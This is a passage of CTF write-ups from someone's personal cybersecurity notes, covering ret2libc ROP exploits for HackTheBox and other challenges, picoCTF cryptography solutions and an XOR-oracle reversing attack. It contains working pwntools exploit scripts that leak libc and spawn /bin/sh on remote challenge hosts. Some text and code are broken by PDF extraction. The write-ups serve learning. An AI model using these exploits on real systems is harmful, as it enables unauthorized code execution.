Analysis
$ ./ropme
ROP me outside, how 'about dah?
test
$ rabin2 -I ropme
bits 64
canary false
nx true
pic false
relro partial
No PIE, meaning we can pull o" the ret2plt. Let's leak the libc version.
p = elf.process()
# ret2plt
rop = ROP(elf)
rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])
p.sendline(rop.chain())
# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
We can now leak other symbols in order to pinpoint the libc version, for which you
can use something like here. Once you've done that, it's a simple ret2libc.
Final Exploit
from pwn import *
if args.REMOTE:
libc = ELF('./libc-remote.so', checksec=False)
p = remote('docker.hackthebox.eu', 31919)
else:
libc = elf.libc
p = elf.process()
# ret2plt
rop = ROP(elf)
rop.raw('A' * 72)
rop.puts(elf.got['puts'])
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 453 of 554
Cybersecurity Notes 5/3/25, 16:17
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])
p.sendline(rop.chain())
# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
# ret2libc
binsh = next(libc.search(b'/bin/sh\x00'))
rop = ROP(libc)
rop.raw('A' * 72)
rop.system(binsh)
p.sendline(rop.chain())
p.interactive()
# HTB{r0p_m3_if_y0u_c4n!}
picoGym
picoGym contains all of the past challenges from previous picoCTF events and can
be found at https://play.picoctf.org/practice
Cryptography
Mod 26
Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_uJdSftmh}
We are told that the #ag is encrypted with ROT13, which is a simple substitution
cipher that replaces every character with the character that is 13 spaces along the
alphabet. For example, the character C would be replaced by a P :
ABCDEFGHIJKLMNOPQRSTUVWXYZ
You can see that C is the 3rd index, and P is in fact the 16th. But what if we
want to encrypt the letter Y , at index 25? Well, what we do here is we loop back
to the beginning; if we do this, the character 13 positions after it is in fact L !
Mathematically, we can see that the index that would be position 26 is actually
looping back to position 0 , so we add on the 13 and take the remainder
modulo 26. We can do this easily in Python, ignoring non-letter characters:
enc_flag = r"cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_uJdSftmh}"
flag = ""
for c in enc_flag:
if c in ascii_lowercase:
flag += ascii_lowercase[(ascii_lowercase.index(c) + 13) % 26]
elif c in ascii_uppercase:
flag += ascii_uppercase[(ascii_uppercase.index(c) + 13) % 26]
else:
flag += c
print(flag)
# picoCTF{next_time_I'll_try_2_rounds_of_rot13_hWqFsgzu}
All we need are the factors of N . Because it's small, we can try and check if the
factors are known using FactorDB. And they are! So from here it's just standard
RSA:
c = 42134530629204066386406668893145684527849627459703163202099558347361980462
n = 63137195379336877180457072789688714071449509091907348168027458122674274804
e = 65537
p = 1461849912200000206276283741896701133693
q = 431899300006243611356963607089521499045809
print(long_to_bytes(m))
# picoCTF{sma11_N_n0_g0od_55304594}
Easy Peasy
A one-time pad is unbreakable, but can you manage to recover the #ag? (Wrap
with picoCTF{}) nc mercury.picoctf.net 11188 otp.py
We are given a script otp.py and a remote service that serves the script. Let's
analyse what it does.
KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"
def startup(key_location):
flag = open(FLAG_FILE).read()
kf = open(KEY_FILE, "rb").read()
start = key_location
stop = key_location + len(flag)
key = kf[start:stop]
key_location = stop
return key_location
So, it will read the #ag from the !le flag and the key from the !le key . It will
then grab the !rst len(flag) bytes of key .
is actually just an XOR operation that returns the result as a hex string. As such, it
seems to use the bytes of key as a one-time-pad, XORing it with the flag and
returning us the result.
def encrypt(key_location):
ui = input("What data would you like to encrypt? ").rstrip()
if len(ui) == 0 or len(ui) > KEY_LEN:
return -1
start = key_location
stop = key_location + len(ui)
kf = open(KEY_FILE, "rb").read()
print("Here ya go!\n{}\n".format("".join(result)))
return key_location
encrypt() does the same kind of thing, except with our input! The only
di"erence is here:
else:
key = kf[start:stop]
The end point will be looped around to the start point, so once the !rst KEY_LEN
bytes of the key !le are used it will loop back around and start from the
beginning. This makes it possible for us to gain the same OTP twice!
I'm going to use pwntools for this process. First we grab the encrypted #ag:
KEY_LEN = 50000
p = remote("mercury.picoctf.net", 11188)
p.recvuntil(b"flag!\n")
enc_flag = p.recvline().strip()
enc_flag_len = len(enc_flag) // 2 # 32
Now I will feed a string of length KEY_LEN - enc_flag_len into the encrypt()
function. Why? This will make the stop exactly 50000 , meaning the next
encryption will have a start of 0 again, generating the same OTP as it did for
the original #ag! Now because XOR is a involution - it undoes itself - we can send
back the encrypted #ag and it will undo the original XOR, returning us the #ag!
Be careful that you decode the hex encoding and send the raw bytes!
KEY_LEN = 50000
p = remote("mercury.picoctf.net", 11188)
p.recvuntil(b"flag!\n")
enc_flag = p.recvline().strip()
enc_flag_len = len(enc_flag) // 2 # 32
# picoCTF{7904ff830f1c5bba8f763707247ba3e1}
The Numbers
The numbers... what do they mean?
The {} suggest that this is some sort of transposition, where letters are
replaced with numbers while other characters are left the same. Since all the
numbers are in the range 0-25 , it makes logical sense that each number is really
the position of the letter in the alphabet. We can make a simple decryption script
based o" this assumption:
numbers = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13
flag = ""
for n in numbers:
if str(n) in "{}":
flag += n
else:
flag += ascii_uppercase[n]
print(flag)
numbers = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13
flag = ""
for n in numbers:
if str(n) in "{}":
flag += n
else:
flag += ascii_uppercase[n-1]
print(flag)
# PICOCTF{THENUMBERSMASON}
New Caesar
We found a brand new type of encryption, can you break the secret code? (Wrap
with picoCTF{})
apbopjbobpnjpjnmnnnmnlnbamnpnononpnaaaamnlnkapndnkncamnpapncnbann
aapncndnlnpna new_caesar.py
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
[...]
flag = "redacted"
key = "b"
assert all([k in ALPHABET for k in key])
assert len(key) == 1
b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
enc += shift(c, key[i % len(key)])
print(enc)
So !rst o" we know that the ALPHABET is the !rst 16 letters in the lowercase
alphabet. The key is one character long, and is also in ALPHABET . The #ag has
b16_encode() run on it, and every letter in the result of that is run under
shift() . To reverse, it, we have to !rst undo shift() and then
b16_encode() .
def b16_encode(plain):
enc = ""
for c in plain:
binary = "{0:08b}".format(ord(c))
enc += ALPHABET[int(binary[:4], 2)]
enc += ALPHABET[int(binary[4:], 2)]
return enc
shift() is a very simple function, although the arithmetic looks a bit strange.
t1 is actually the index of c in ALPHABET , as it grabs the character code and
then subtracts o" that of a . t2 is the same, but for the key. t2 is then added
as a shift to t1 and the index in ALPHABET is returned, so it's essentially a
Caesar with a shift dictated by k . We can undo this easily, by subtracting instead
of adding:
def b16_decode(enc):
enc = [enc[x:x + 2] for x in range(0, len(enc), 2)] # split into pa
dec = ''
return dec
The .zfill(4) ensures that each representation of the two values is 4 bits long,
which is very important for parsing it as an 8-bit bniary value at the end!
We then just have to brute force for every possible key in ALPHABET , getting
16 possibilities:
Ð ÒÓÛßÐ
ÈèËÌËÊÀûÎÍÍÎÏÿûÊÉþÂÉÁûÎþÁÀüÏþÁÂÊÎÏ
íü×üý·×º»º¹¿ê½¼¼½¾îê¹¸í±¸°ê½í°¿ë¾í°±¹½¾
ÜëÆëì¦Æ©ª©¨®Ù¬««¬ÝÙ¨§Ü §¯Ù¬Ü¯®Úܯ ¨¬
ËÚµÚÛ µ È ÌÈ Ë È Ë É Ë
ºÉ¤ÉÊ ¤ · »· º · º ¸ º
©¸ ¸¹s vwvu{¦yxxyzª¦ut©}t|¦y©|{§z©|}uyz
§ §¨b efedj hgghi dc lck h kj i kldhi
q QqTUTSY WVVWX SR [RZ W ZY X Z[SWX
v ` @`CDCBHsFEEFGwsBAvJAIsFvIHtGvIJBFG
et_tu?_23217b54456fb10e908b5e87c6e89156
TcNcd.N!"! &Q$##$%UQ /T(/'Q$T'&R%T'( $%
CR=RS = @ D@ C @ C A C
? 2 0 2
!0 01û þÿþýó.ñððñò".ýü!õüô.ñ!ôó/ò!ôõýñò
/
/ ê
íîíìâ àïïàá ìë äëã à ãâ á ãäìàá
Full script:
import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def b16_decode(enc):
enc = [enc[x:x + 2] for x in range(0, len(enc), 2)]
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 467 of 554
Cybersecurity Notes 5/3/25, 16:17
return dec
enc_flag = 'apbopjbobpnjpjnmnnnmnlnbamnpnononpnaaaamnlnkapndnkncamnpapncnbanna
for i, p in enumerate(enc_flag):
shifted_flag += unshift(p, key)
d = b16_decode(shifted_flag)
print(d)
# picoCTF{et_tu?_23217b54456fb10e908b5e87c6e89156}
Mini RSA
What happens if you have a small exponent? There is a twist though, we padded
the plaintext so that (M ** e) is just barely larger than N. Let's decrypt this:
ciphertext
Now we're getting onto proper cryptography. Here we are told that we are using
RSA with a small exponent, but M e is just more than N . This means we can't
quite do a cube-root attack, but because it is just more than M we can actually
keep on adding multiples of N onto c and taking the cube root until we get the
#ag. As it is close, it's not infeasible to brute force. I use gmpy2's iroot function
to take the cube root.
N = 16157656843214630540782260519598878842336783177348929017407633211352136367
e = 3
c = 12200123185888718861325247578988844221745345580555937133090883049102739910
for i in range(10_000):
c_try = c + i * N
m = int(iroot(c_try, 3)[0])
flag = long_to_bytes(m)
if b'pico' in flag:
print(flag)
# picoCTF{e_sh0u1d_b3_lArg3r_7adb35b1}
Dachshund Attacks
What if d is too small? Connect with nc mercury.picoctf.net 37455.
We are told d is too small, so this is a classic Wiener's Attack. I discuss the
technique here, so I won't go over it again. Connecting to the server gives us e, N
and c. I will use SageMath for the continued fractions.
e = 11275454170069007321003456888397670463717993839110998473988231771749313411
N = 14439036134892050186999393870999188617892452577984924422226267043336731222
c = 12120087576497189896985636210466155103057374359907823401193792699619183180
for i in range(frac.length()):
convergences.append((frac.numerator(i), frac.denominator(i)))
return convergences
x = var('x')
assume(x, 'integer')
solutions = solve([x ** 2 - ((N - phi) + 1) * x + N], x)
if len(solutions) == 2:
return solutions
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 470 of 554
Cybersecurity Notes 5/3/25, 16:17
return solutions
return None
if factors:
p, q = factors
if p * q == N:
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, N)
print(long_to_bytes(m))
break
# picoCTF{proving_wiener_3878674}
No Padding, No Problem
Oracles can be your best friend, they will decrypt anything, except the #ag's
ciphertext. How will you break it? Connect with nc mercury.picoctf.net 10333
m ≡ cd mod N
This means that if we pass in the negative of c, we can get the negative of the
decryption!
N = 64225632402784743608151428388331019007158039700441403609620876723228303996
R = IntegerModRing(N)
c = R(239615258606387880060919198623013667304156132606130789044610270435594035
print(-c)
# picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_1772735}
There are other ways to do it too - you could calculate 265537 mod N and multiply c
by that, which would yield you 2c after decryption, and you'd just need to halve it, as
described in this writeup.
Easy1
The one time pad can be cryptographically secure, but not when you know the
key. Can you solve this? We've given you the encrypted #ag, key, and a table to
help UFJKXQZQUNB with the key of SOLVECRYPT
The table is simple - the you grab the plaintext character and the corresponding
character from the key and cross-reference them to !nd the ciphertext character.
To reverse it, you !nd the key character and go along the row (or column) until
you !nd the ciphertext character, then you go perpendicular to it to !nd the
corresponding plaintext character. This nets you CRYPTOISFUN , so the #ag is
picoCTF{CRYPTOISFUN} .
This is actually a Vigenère cipher, so you could also use an online tool to do it for you!
13
Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
enc_flag = r"cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}"
flag = ""
for c in enc_flag:
if c in ascii_lowercase:
flag += ascii_lowercase[(ascii_lowercase.index(c) + 13) % 26]
elif c in ascii_uppercase:
flag += ascii_uppercase[(ascii_uppercase.index(c) + 13) % 26]
else:
flag += c
print(flag)
# picoCTF{not_too_bad_of_a_problem}
Caesar
Decrypt this message.
ciphertext = 'ynkooejcpdanqxeykjrbdofgkq'
for c in ciphertext:
new_c += ascii_lowercase[(ascii_lowercase.index(c) + shift) % 26]
print(new_c)
# picoCTF{crossingtherubiconvfhsjkou}
Pixelated
I have these 2 images, can you make a #ag out of them? scrambled1.png
scrambled2.png
As the images are the same dimensions, it makes sense to consider what could be
done with the RBG values. Immediately, XOR springs to mind, and we make a
quick script to XOR the pixel data:
img1 = Image.open("scrambled1.png")
img2 = Image.open("scrambled2.png")
pixels1 = img1.load()
pixels2 = img2.load()
for x in range(img1.width):
for y in range(img1.height):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_r = r1 ^ r2
xor_g = g1 ^ g2
xor_b = b1 ^ b2
result_img.save("output.png")
This came up with an interesting output.png , which de!nitely had the #ag in it,
but was quite hard to read:
After some trial and error and printing of the values, you notice that pretty much
everywhere is pure white. To up the contrast a little, we make all the white into
black:
picoCTF{d562333d}
Basic-Mod1
Take each number mod 37 and map it to the following character set: 0-25 is the
alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore. Wrap
your decrypted message in picoCTF.
numbers = [
165, 248, 94, 346, 299, 73, 198, 221, 313, 137, 205, 87, 336, 110, 186, 69
]
flag = ''
for n in numbers:
flag += alphabet[n % 37]
print(flag)
# picoCTF{R0UND_N_R0UND_B6B25531}
Basic-Mod2
Again, simply do what it tells you. For information on the inverse modulo a prime,
check out my notes here!
numbers = [
268, 413, 438, 313, 426, 337, 272, 188, 392, 338, 77, 332, 139, 113, 92, 2
]
for n in numbers:
idx = inverse(n % 41, 41)
flag += alphabet[idx]
print(flag)
# picoCTF{1nv3r53ly_h4rd_8a05d939}
Credstuff
We found a leak of a blackmarket website's login credentials. Can you !nd the
password of the user cultiris and successfully decrypt it? Download the leak here.
cvpbPGS{P7e1S_54I35_71Z3}
The {} are in place, implying that it's some sort of transposition cipher for the
letters. We've done it numerous times, but we try a caesar cipher decode:
enc_flag = 'cvpbPGS{P7e1S_54I35_71Z3}'
for c in enc_flag:
if c in ascii_lowercase:
flag += ascii_lowercase[(ascii_lowercase.index(c) + shift) % 26]
elif c in ascii_uppercase:
flag += ascii_uppercase[(ascii_uppercase.index(c) + shift) % 26]
else:
flag += c
print(flag)
# picoCTF{C7r1F_54V35_71M3}
morse-code
Pretty explicitly morse code, we go to an online decoder and have it spit out the
#ag:
picoCTF{WH47_H47H_90D_W20U9H7}
rail-fence
A type of transposition cipher is the rail fence cipher, which is described here.
Here is one such cipher encrypted using the rail fence with 4 rails. Can you
decrypt it?
So, you can use an online tool like here, or you can actually follow the wikipedia
page it gives you, or you can play around until it works:
T a - _ 7 N 6 D 4 9
h l g : W 3 D _ H 3 C 3 1 N _ _ A 9 7
e f - s H R 0 5 3 F 3 8 N 4 3 D 7 B
- i 3 3 _ _ _ N 6
Substitution0
A message has come in but it seems to be all scrambled. Luckily it seems to have
the key at the beginning. Can you crack this substitution cipher?
So, we are told that the key is at the beginning! Let's see what we have:
ZGSOCXPQUYHMILERVTBWNAFJDK
Qctcnrel Mcptzlo ztebc, fuwq z ptzac zlo bwzwcmd zut, zlo gtenpqw ic wqc gccwm
xtei z pmzbb szbc ul fqusq uw fzb clsmebco. Uw fzb z gcznwuxnm bsztzgzcnb, zlo
wqzw wuic, nlhlefl we lzwntzmubwb—ex sentbc z ptczw rtukc ul z bsuclwuxus reul
ex aucf. Wqctc fctc wfe tenlo gmzsh brewb lczt elc cjwtciuwd ex wqc gzsh, zlo
melp elc lczt wqc ewqct. Wqc bszmcb fctc cjsccoulpmd qzto zlo pmebbd, fuwq zmm
zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zl
wzhulp zmm wqulpb ulwe selbuoctzwuel, U senmo qztomd gmzic Ynruwct xet qub eru
tcbrcswulp uw.
So, the !rst line appears to be the "key". Well, if we write the alphabet under it:
ZGSOCXPQUYHMILERVTBWNAFJDK
ABCDEFGHIJKLMNOPQRSTUVWXYZ
There is a perfect correspondence! So, any instance of the character in the top list
is meant to be substituted using the bottom list. We can easily make a python
program to do it for us:
alphabet = 'ZGSOCXPQUYHMILERVTBWNAFJDK'
text = '''
Qctcnrel Mcptzlo ztebc, fuwq z ptzac zlo bwzwcmd zut, zlo gtenpqw ic wqc gccwm
xtei z pmzbb szbc ul fqusq uw fzb clsmebco. Uw fzb z gcznwuxnm bsztzgzcnb, zlo
wqzw wuic, nlhlefl we lzwntzmubwb—ex sentbc z ptczw rtukc ul z bsuclwuxus reul
ex aucf. Wqctc fctc wfe tenlo gmzsh brewb lczt elc cjwtciuwd ex wqc gzsh, zlo
melp elc lczt wqc ewqct. Wqc bszmcb fctc cjsccoulpmd qzto zlo pmebbd, fuwq zmm
zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zl
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 484 of 554
Cybersecurity Notes 5/3/25, 16:17
zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zl
wzhulp zmm wqulpb ulwe selbuoctzwuel, U senmo qztomd gmzic Ynruwct xet qub eru
tcbrcswulp uw.
dec = ''
for c in text:
if c in ascii_uppercase:
dec += ascii_uppercase[alphabet.index(c)]
elif c in ascii_lowercase:
dec += ascii_lowercase[alphabet.index(c.upper())]
else:
dec += c
print(dec)
# picoCTF{5UB5717U710N_3V0LU710N_357BF9FF}
We get a text from The Gold-Bug, by Edgar Allen Poe and the #ag too:
Hereupon Legrand arose, with a grave and stately air, and brought me the beetl
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and
that time, unknown to naturalists—of course a great prize in a scientific poin
of view. There were two round black spots near one extremity of the back, and
long one near the other. The scales were exceedingly hard and glossy, with all
appearance of burnished gold. The weight of the insect was very remarkable, an
taking all things into consideration, I could hardly blame Jupiter for his opi
respecting it.
Substitution1
A second message has come in the mail, and it seems almost identical to the !rst
one. Maybe the same thing will work again.
Firstly, I'm going to put the entire text to lowercase. I will set the alphabet to full
underscores, and only !ll it in once I know the transposition; the underscores will
denote transpositions I do not know. In the transposition step, if the character is
not know it prints it lowercase, while the ones I do know are printed uppercase.
alphabet = '---------------------------'
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
text = '''
SYTe (eakdy tkd sjbyndr yar thjm) jdr j yobr kt skxbnyrd ersndzyo skxbryzyzkc.
'''.lower()
dec = ''
for c in text:
if c in alphabet:
dec += ascii_uppercase[alphabet.index(c)] # if we know the transpos
else:
dec += c
print(dec)
Initially this prints the text out as is. However, let's see the #ag at the end:
bzskSYT{TD3UN3CSO_4774SV5_4D3_S001_7JJ384LS}
alphabet = '--s--t--z-----kb---y------'
Now the plaintext when printed out looks more interesting, as it includes this:
PICOCTF{Fd3un3cCoA4774Cv5A4d3AC001A7jj384lC}
Let's look at the rest of the text and see what we can determine.
The !rst word is CTFe , implying that is should say CTFS , as not much else can
follow CTF .
which looks like it should say CTFS ARE A ... , and we can put those letters in
too. By this point we have
alphabet = 'j-s-rt--z-----kb-dey------'
And leter on the word PRACTICE is already decrypted. Now you continue the
process, seeing words such as SERwICE . We eventually get
CTFS (SHORT FOR CAPTURE THE FLAG) ARE A TYPE OF COMPUTER SECURITY COMPETITION.
alphabet = 'jlsqrtmaz-vhxckbudeynwg-o-'
Note some letters are missing. The script currently looks like this:
alphabet = 'jlsqrtmaz-vhxckbudeynwg-o-'
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
text = '''
SYTe (eakdy tkd sjbyndr yar thjm) jdr j yobr kt skxbnyrd ersndzyo skxbryzyzkc.
'''.lower()
dec = ''
for c in text:
if c in alphabet:
dec += ascii_uppercase[alphabet.index(c)]
else:
dec += c
print(dec)
Now we're gonna reuse the one from Substitution0 to transpose it for us (with a
couple of minor modi!cations):
alphabet = 'jlsqrtmaz-vhxckbudeynwg-o-'
text = '''
SYTe (eakdy tkd sjbyndr yar thjm) jdr j yobr kt skxbnyrd ersndzyo skxbryzyzkc.
'''
dec = ''
for c in text:
if c in ascii_uppercase:
dec += ascii_uppercase[alphabet.index(c.lower())]
elif c in ascii_lowercase:
dec += ascii_lowercase[alphabet.index(c)]
else:
dec += c
print(dec)
# picoCTF{FR3QU3NCY_4774CK5_4R3_C001_7AA384BC}
Substitution2
It seems that another encrypted message has been intercepted. The encryptor
seems to have learned their lesson though and now there isn't any punctuation!
Can you still crack the cipher?
isnfnnpctitnznfmxhisnfwnxxntimjxctsnascdstushhxuhgqbinftnubfciruhgqnicichktcku
We can use a similar approach to last time, but this time we may have to use
frequency analysis (as suggested by the last #ag!) and even bi- and trigram
analysis. This means !nding common letters, or common groupings of 2/3 letters,
and comparing it to what would typically occur in a regular english text.
qcuhUIE{K6F4G_4K41R515_15_73A10B5_702E03EU}
And we can use the same initial approach as last time and update the alphabet
accordingly.
alphabet = '--u--e--c-----hq---i------'
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
PnTITIOk
COgPnTITIOk
After spotting lots more words like cybersecurity etc, I get the alphabet :
alphabet = 'mjuanedsc-oxgkhqvftibzwpr-'
alphabet = 'mjuanedsc-oxgkhqvftibzwpr-'
text = 'isnfnnpctitnznfmxhisnfwnxxntimjxctsnascdstushhxuhgqbinftnubfciruhgqnic
dec = ''
for c in text:
if c in ascii_uppercase:
dec += ascii_uppercase[alphabet.index(c.lower())]
elif c in ascii_lowercase:
dec += ascii_lowercase[alphabet.index(c)]
else:
dec += c
print(dec)
# picoctf{n6r4m_4n41y515_15_73d10u5_702f03fc}
As we can see from the #ag (and also the hint), ngram analysis was the way to go.
Transposition-Trial
Our data got corrupted on the way here. Luckily, nothing got replaced, but every
block of 3 got scrambled around!
heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4
And also told that every block of 3 is scrambled the same way. Looking at the !rst
block of 3, is should clearly say The , so the order of reading it should be 3rd
letter -> 1st letter -> 2nd letter. We make a quick python script to split it into
triplets and rearrange:
dec = ''
for t in trigrams:
dec += t[2] + t[0] + t[1]
print(dec)
Vigenere
Can you decrypt this message?
So the hint is that the message is encrypted with a Vigenere cipher using the key
CYLAB . Sure we could use an online tool, but how about in python?
The way a vigenere cipher works is that the letters in the key are converted into
integers based into their position in the alphabet, with 0 being a and 25
being z . Those values are then used as shift values for a per-letter caesar cipher
- so in the case of CYLAB , the !rst value is 3 and the second is 24 . Given the
encrypted #ag:
rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}
We then know that r is the plaintext letter shifted over by 3 and g is the
plaintext letter shifted over by 24 (and looped around, in the same way a caesar
cipher is). To this end, we can make a quick script:
if chr in ascii_uppercase:
return ascii_uppercase[(ascii_uppercase.index(chr) - k_int) % 26]
else:
return ascii_lowercase[(ascii_lowercase.index(chr) - k_int) % 26]
message = 'rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}'
key = 'CYLAB' * 10
dec = ''
else:
dec += m
print(dec)
picoCTF{O0LW_WP3_V1F3Q3T3_C1AG3U_2951r89d}
After a lot of trial and error, it turns out that the problem is that we are looping
throuhg them at the same pace, but in reality the key isn't even being
incremented on the non-letter characters (for example the L in the key aligns
with { in the message , nothing is done because it's not a character, but the
loop still goes on to the next key character for the next decryption). In essence,
we have to just stop the key from looping on those characters:
if chr in ascii_uppercase:
return ascii_uppercase[(ascii_uppercase.index(chr) - k_int) % 26]
else:
return ascii_lowercase[(ascii_lowercase.index(chr) - k_int) % 26]
message = 'rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}'
key = 'CYLAB'
dec = ''
i = 0
for m in message:
if m in ascii_uppercase or m in ascii_lowercase:
dec += shift(m, key[i])
i = (i+1) % 5
else:
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 494 of 554
Cybersecurity Notes 5/3/25, 16:17
else:
dec += m
print(dec)
# picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_2951a89h}
HideToSee
How about some hide and seek heh? Look at this image here.
Not the most enjoyable challenge. Gives us an image called atbash.jpg , but no
ciphertext yet. We actually have to use steganography techniques to extract the
ciphertext from being embedded in the image, using steghide :
The passphrase is empty. The encrypted.txt !le that is created has the
following:
krxlXGU{zgyzhs_xizxp_8z0uvwwx}
Based o" the !lename, we can assume it's an atbash cipher, which is essentially a
transposition cipher where alphabet is #ipped (so A goes to Z , B goes to Y ,
etc).
enc = 'krxlXGU{zgyzhs_xizxp_8z0uvwwx}'
dec = ''
for c in enc:
if c in ascii_uppercase:
dec += ascii_uppercase[-(ascii_uppercase.index(c)+1)] # so index
elif c in ascii_lowercase:
dec += ascii_lowercase[-(ascii_lowercase.index(c)+1)]
else:
dec += c
print(dec)
# picoCTF{atbash_crack_8a0feddc}
CTFs
I did not solve the vast majority of challenges I am writing up here, but instead I am
doing it to consolidate my own understanding of it. I also hope the writeups you !nd
here help you understand the challenge, and if they did then it's ful!lled it's purpose
and whether or not I originally completed them is irrelevant :)
Binary Exploitation
Molotov
A ret2libc with a given leak
Overview
Running the binary prints and hex value and prompts for input:
$ ./molotov
f7d9ef00
Input :
So let's work out what this value is and how we can use it.
Decompilation
We chuck the binary into GHidra and get a simple disassembly. main calls vuln
and does almost nothing else. vuln , however, has some interesting stu":
int vuln(void){
char buffer [24];
printf("%x\n",system);
puts("Input : ");
gets(buffer);
return 0;
}
Let's run the binary on the remote serevr to leak the libc version.
$ nc 54.210.217.206 1240
f7d3c8b0
Input :
So now we essentially have a libc leak, we head over to !nd the libc version.
Annoyingly, there are 4 possible libc versions, and we can only get it from trial and
error. Aside from the libc version itself, the exploit is quite simple - subtract the
o"set of system from the leaked address to get libc base, then use that to
get the location of /bin/sh .
Exploitation
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 501 of 554
Cybersecurity Notes 5/3/25, 16:17
Exploitation
from pwn import *
if args.REMOTE:
libc = ELF('./libc-remote.so')
p = remote('54.210.217.206', 1240)
else:
libc = elf.libc
p = process()
rop = ROP(libc)
rop.raw('A' * 32)
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(rop.chain())
p.interactive()
Reversing
XO
Messing with the XOR
Overview
Let's try running the !le:
$ ./task
Error while opening the file. Contact an admin!
: No such file or directory
Perhaps it wants a #ag.txt !le? Let's create one with the words
FwordCTF{flag_flaggety_flag} :
$ ./task
input :
test
4
input :
pao
2
This isn't quite counting the number of letters we enter. Let's see if the
disassembly can shed any light on it.
Disassembly
First thing we notice is that every libc function is built into the binary due to
the stripped names. We can con!rm this with rabin2 :
$ rabin2 -I task
[...]
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 504 of 554
Cybersecurity Notes 5/3/25, 16:17
[...]
static true
[...]
Cleaning Up
Many of the functions can be handled using the return address and the general
context. Some of the decompilation - especially the references to strings - may
not have loaded in yet; make sure GHidra !nishes analysing. We don't even need
the exact C names, as long as we get the general gist it's all !ne.
void main(void)
{
int min_length;
void *flag;
void *input;
long lVar1;
long **xored;
ulong flag_length;
ulong input_length;
long **in_RCX;
long **extraout_RDX;
long **output;
ulong in_R8;
long *in_R9;
int i;
FUN_00400b7d();
flag = malloc(0x32);
input = malloc(0x32);
lVar1 = read("flag.txt",&DAT_004ac8e8);
if (lVar1 == 0) {
puts("Error while opening the file. Contact an admin!\n");
/* WARNING: Subroutine does not return */
exit(1);
}
output = (long **)&DAT_004ac929;
FUN_0040fd20(lVar1,&DAT_004ac929,flag);
do {
xored = (long **)malloc(0x32);
FUN_00410cf0("input : ",output);
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 505 of 554
Cybersecurity Notes 5/3/25, 16:17
FUN_00410cf0("input : ",output);
scanf("%s");
flag_length = strlen(flag);
input_length = strlen(input);
if (input_length < flag_length) {
min_length = strlen(input);
}
else {
min_length = strlen(flag);
}
i = 0;
while (i < min_length) {
in_RCX = (long **)(ulong)*(byte *)((long)input + (long)i);
*(byte *)((long)xored + (long)i) =
*(byte *)((long)flag + (long)i) ^ *(byte *)((long)input + (long)i);
i = i + 1;
}
output = (long **)strlen(xored);
FUN_0040f840(&DAT_004ac935);
FUN_00420ab0(xored,output,extraout_RDX,in_RCX,in_R8,in_R9);
} while( true );
}
value = ''
print(len(garbage))
The key here is strlen stops at a null byte. If you input a character with the
same value as the #ag character in that position, it will XOR to become \x00 .
We can test every possible character. If the returned value is one less than the
length of the string, the last character is correct as it XORed to create a null byte.
To test di"erent o"sets we can pad using a value de!nitely not in the #ag, such
as # .
Exploit
Local
p = process('./task')
known = ''
while True:
for char in printable:
p.recvline()
p.sendline('#' * len(known) + char) # '#' won't be in it, so any n
resp = int(p.recvline().strip())
Now we can just switch out the process type on the remote server.
Remote
if args.REMOTE:
p = remote('xo.fword.wtf', 5554)
else:
p = process('./task')
known = ''
while True:
for char in printable:
p.recvline()
p.sendline('#' * len(known) + char) # '#' won't be in it, so any n
resp = int(p.recvline().strip())
Flag: NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!
Pwn
Do I Know You?
If we disassemble, the solution is pretty clear.
[...]
| 0x55c00f08685d 4889c7 mov rdi, rax
│ 0x55c00f086860 b800000000 mov eax, 0
